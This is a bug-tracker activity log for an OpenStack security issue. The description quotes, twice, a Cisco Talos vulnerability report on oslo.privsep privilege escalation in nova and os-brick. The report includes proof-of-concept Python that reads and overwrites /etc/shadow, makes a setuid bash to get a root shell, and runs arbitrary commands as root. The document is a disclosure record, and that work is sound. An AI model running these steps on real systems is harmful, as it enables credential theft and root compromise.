Activity log for bug #1989008

Date Who What changed Old value New value Message
2022-09-07 15:25:37 Jeremy Stanley bug added bug
2022-09-07 15:25:59 Jeremy Stanley bug task added nova
2022-09-07 15:26:26 Jeremy Stanley bug task added os-brick
2022-09-07 15:26:38 Jeremy Stanley bug task added ossa
2022-09-07 15:26:47 Jeremy Stanley ossa: status New Incomplete
2022-09-07 15:27:03 Jeremy Stanley bug added subscriber Oslo Core security contacts
2022-09-07 15:27:17 Jeremy Stanley bug added subscriber Nova Core security contacts
2022-09-07 15:27:28 Jeremy Stanley bug added subscriber Cinder Core security contacts
2022-09-07 15:27:47 Jeremy Stanley bug added subscriber Cisco Talos
2022-09-07 16:02:00 Ben Nemec oslo.privsep: status New Triaged
2022-09-22 12:21:43 Sylvain Bauza bug added subscriber sean mooney
2022-10-03 16:49:11 Jeremy Stanley description This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added to the bug as attachments. This embargo shall not extend past 2022-12-06 and will be made public by or on that date even if no fix is identified. [OpenStack's vulnerability managers received the following report via encrypted E-mail] ### Summary A privilege escalation vulnerability exists in the oslo.privsep functionality of OpenStack git master 05194e7618 and prior. Overly permissive functionality within tools leveraging this library within a container can lead increased privileges. ### Confirmed Vulnerable Versions The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor. OpenStack git master 05194e7618 ### Product URLs OpenStack - [https://opendev.org/openstack/](https://opendev.org/openstack/) ### CVSSv3 Score 8.8 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H ### CWE CWE-269 - Improper Privilege Management ### Details OpenStack contains a number of tools, libraries, and services for providing simplified, powerful, and scalable cloud based applications. OpenStack's [oslo.privsep](https://opendev.org/openstack/oslo.privsep) library "helps applications perform actions which require more or less privileges ... in a safe, easy to code and easy to use manner." An entry in sudoers is generally added to bootstrap oslo.privsep with the correct privileges when run from an unprivileged user such as `nova`. The oslo.privsep [design documents](https://docs.openstack.org/oslo.privsep/latest/user/index.html) state the following: Privileged functions must be as simple, specialized and narrow as possible, so as to prevent further escalation. In this example, update_motd(message) is narrow: it only allows the service to overwrite the MOTD file. If a more generic update_file(filename, content) was created, it could be used to overwrite any file in the filesystem, allowing easy escalation to root rights. That would defeat the whole purpose of oslo.privsep. ... Provided the unprivileged<->privileged boundary contains any hole that effectively grants root to the caller, then there is little benefit to having the separation [provided by privsep] Two modules were observed to have functions that were overly broad and allowed for trivial escalation to root. The `nova` [module](https://opendev.org/openstack/nova/blob/master/nova/privsep/path.py) contains privileged wrappers for `chmod`, `chown`, `rmdir`, and arbitrary file create/write/move/read. Second, the os_brick [module](https://opendev.org/openstack/os-brick/blob/master/os_brick/privileged/rootwrap.py) contains functions to execute arbitrary shell commands as root. The source file contains the following comment from 2016: Just in case it wasn't clear, this is a massive security back-door. [these wrappers] allow any command to be run as the privileged user (default "root"). This is intended only as an expedient transition and should be removed ASAP. Either of the above modules are sufficient to achieve privilege escalation to root. Other modules within OpenStack were not audited, but it is possible that similar issues exist elsewhere in the codebase. ### Crash Information ###### Method 1 (nova) from nova.privsep.path import * from oslo_config.cfg import CONF CONF.privsep_context = 'nova.privsep.sys_admin_pctxt' # Read /etc/shadow last_bytes("/etc/shadow", 1000) # Write to /etc/shadow writefile("/etc/shadow", "wb", b"<payload_here>") # Get a root shell os.system("cp /bin/bash /tmp/bash") chown("/tmp/bash", 0) chmod("/tmp/bash", 0o4755) os.system("/tmp/bash -p") bash-5.1# ###### Method 2 (os_brick) from os_brick.privileged.rootwrap import * from oslo_config.cfg import CONF import shlex # helpful for multi-arg commands CONF.privsep_context = 'os_brick.privileged.default' execute_root(*shlex.split("id")) ('uid=0(root) gid=0(root) groups=0(root)\n', '') ### Mitigation Privileged functions in the `nova` and `os_brick` modules of OpenStack should be rewritten to be as specialized and narrowly tailored as possible; e.g. `chmod(path, mode)` should be replaced with a function that only applies pre-defined permissions on one or more pre-defined files. Suggest auditing other modules that use oslo.privsep to identify similar issues. ### Credit Keane O&#39;Kelley of Cisco ASIG https://talosintelligence.com/vulnerability_reports/ [OpenStack's vulnerability managers received the following report via encrypted E-mail] ### Summary A privilege escalation vulnerability exists in the oslo.privsep functionality of OpenStack git master 05194e7618 and prior. Overly permissive functionality within tools leveraging this library within a container can lead increased privileges. ### Confirmed Vulnerable Versions The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor. OpenStack git master 05194e7618 ### Product URLs OpenStack - [https://opendev.org/openstack/](https://opendev.org/openstack/) ### CVSSv3 Score 8.8 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H ### CWE CWE-269 - Improper Privilege Management ### Details OpenStack contains a number of tools, libraries, and services for providing simplified, powerful, and scalable cloud based applications. OpenStack's [oslo.privsep](https://opendev.org/openstack/oslo.privsep) library "helps applications perform actions which require more or less privileges ... in a safe, easy to code and easy to use manner." An entry in sudoers is generally added to bootstrap oslo.privsep with the correct privileges when run from an unprivileged user such as `nova`. The oslo.privsep [design documents](https://docs.openstack.org/oslo.privsep/latest/user/index.html) state the following:     Privileged functions must be as simple, specialized and narrow as possible, so as to prevent further escalation. In this example,     update_motd(message) is narrow: it only allows the service to overwrite the MOTD file. If a more generic update_file(filename, content) was created,     it could be used to overwrite any file in the filesystem, allowing easy escalation to root rights. That would defeat the whole purpose of oslo.privsep.     ...     Provided the unprivileged<->privileged boundary contains any hole that effectively grants root to the caller, then there is little benefit to having the separation [provided by privsep] Two modules were observed to have functions that were overly broad and allowed for trivial escalation to root. The `nova` [module](https://opendev.org/openstack/nova/blob/master/nova/privsep/path.py) contains privileged wrappers for `chmod`, `chown`, `rmdir`, and arbitrary file create/write/move/read. Second, the os_brick [module](https://opendev.org/openstack/os-brick/blob/master/os_brick/privileged/rootwrap.py) contains functions to execute arbitrary shell commands as root. The source file contains the following comment from 2016:     Just in case it wasn't clear, this is a massive security back-door. [these wrappers] allow any command to be run as the privileged user (default "root").     This is intended only as an expedient transition and should be removed ASAP. Either of the above modules are sufficient to achieve privilege escalation to root. Other modules within OpenStack were not audited, but it is possible that similar issues exist elsewhere in the codebase. ### Crash Information ###### Method 1 (nova)     from nova.privsep.path import *     from oslo_config.cfg import CONF     CONF.privsep_context = 'nova.privsep.sys_admin_pctxt'     # Read /etc/shadow     last_bytes("/etc/shadow", 1000)     # Write to /etc/shadow     writefile("/etc/shadow", "wb", b"<payload_here>")     # Get a root shell     os.system("cp /bin/bash /tmp/bash")     chown("/tmp/bash", 0)     chmod("/tmp/bash", 0o4755)     os.system("/tmp/bash -p")     bash-5.1# ###### Method 2 (os_brick)     from os_brick.privileged.rootwrap import *     from oslo_config.cfg import CONF     import shlex # helpful for multi-arg commands     CONF.privsep_context = 'os_brick.privileged.default'     execute_root(*shlex.split("id"))     ('uid=0(root) gid=0(root) groups=0(root)\n', '') ### Mitigation Privileged functions in the `nova` and `os_brick` modules of OpenStack should be rewritten to be as specialized and narrowly tailored as possible; e.g. `chmod(path, mode)` should be replaced with a function that only applies pre-defined permissions on one or more pre-defined files. Suggest auditing other modules that use oslo.privsep to identify similar issues. ### Credit    Keane O&#39;Kelley of Cisco ASIG https://talosintelligence.com/vulnerability_reports/
2022-10-03 16:49:18 Jeremy Stanley information type Private Security Public
2022-10-03 16:49:39 Jeremy Stanley tags security
2022-10-12 18:19:50 Balazs Gibizer nova: status New Triaged
2022-10-12 18:20:05 Balazs Gibizer nova: importance Undecided Medium
2023-03-29 16:38:26 Jeremy Stanley ossa: status Incomplete Won't Fix